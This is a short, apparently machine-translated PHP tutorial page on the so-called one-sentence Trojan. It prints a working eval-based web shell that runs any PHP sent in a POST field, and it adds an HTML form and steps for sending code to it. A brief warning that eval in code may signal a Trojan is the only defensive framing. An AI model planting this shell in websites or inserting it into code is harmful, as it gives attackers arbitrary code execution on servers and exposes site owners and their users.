Home > Backend Development > PHP Tutorial > One sentence Trojan code for php eval function, one sentence for phpeval function_PHP tutorial

One sentence Trojan code for php eval function, one sentence for phpeval function_PHP tutorial

WBOY
Release: 2016-07-13 09:53:13
Original
1757 people have browsed it

php eval function in one sentence Trojan code, phpeval function in one sentence

eval can be used to execute any other php code, so be careful if the eval function is found in the code, it may It’s a Trojan

Just this sentence can kill people, anyone can post any file, so be careful

<&#63;php @eval($_POST['c']);&#63;>
Copy after login

The method of use is also very simple. Point the local submission file to the submission file, and the php code inside will be executed

<html> 
<body> 
<form action="a.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>
Copy after login

The above is the entire content of this article, I hope you all like it.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/1004000.htmlTechArticlephp eval function one sentence Trojan code, phpeval function one sentence eval can be used to execute any other php code, so for Be careful if the eval function is found in the code, it may be a Trojan...
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template